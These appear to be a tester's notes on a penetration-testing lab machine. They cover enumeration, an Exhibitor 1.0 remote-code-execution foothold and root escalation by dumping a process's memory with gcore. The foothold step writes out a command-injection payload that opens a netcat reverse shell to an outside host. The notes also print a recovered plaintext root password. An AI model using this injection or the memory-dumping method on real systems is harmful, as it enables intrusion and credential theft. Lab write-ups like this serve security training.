Enumeration

2021年7月30日 11:47

1: Use autorecon to enumerate its services, **22, 139, 445, 631, 2181, 2222, 8080, 8081, 44091** are open
2: **SMB** is not the right way, one share deny my access, while one other share disallow list
3: IPP and Zookeeper's version do not have any helpful exploit for me
4: According to scanning result, 8080 and 8081 are all HTTP services, however, 8081 will **redirect** user to one of **8080's URL**
5: It is **Exhibitor** application. And its version is about **1.0**. Search for its exploit, and I find one could be possible: https://www.exploit-db.com/exploits/48654

Foothold

2021年7月30日 11:48

1: Follow steps in the exploit, set up a netcat listener, and commit a change to **java.env script** field: **$(nc 192.168.49.61 445 -e /bin/bash)**
2: Wait for some seconds, and I get a shell

Privilege Escalation

2021年7月30日 11:48

1: Download linpeas.sh from Kali VM, run it
2: There are multiple possible vectors: two **user-defined cronjobs**, **password-store** is **SUID**, **pkexec** is **SUID**, **gcore** is **SUID** and the one I can execute it with **root permission** without a password
3: One of cronjob is not helpful, another one regards to **password-store** reveals that password-store is the key to escalate privilege
4: gcore is not in GTFOBins list, however, after searching info about it, it is used to **debug a process** and generate an output file
5: password-store appears to store something related to **password**, use **gcore** to debug it, and analyze its output file to see if **plaintext password** contained
6: **ps aux | grep password-store**, **PID** of it is **493**
7: **gcore -a -o password 493**, an output file generated
8: **strings password.493**, search for **plaintext password**
9: And plaintext password of root does exist, it is **ClogKingpinInning731**
10: su root, with password
11: Get root shell

Review

2021年7月30日 11:49

1: Target **HTTP** service
2: Identify the **bind** of **Exhibitor and Zookeeper**
3: Follow steps to launch RCE attack
4: Combine **password-store** and **gcore** to escalate privilege
5: Search for **plaintext password**, switch to root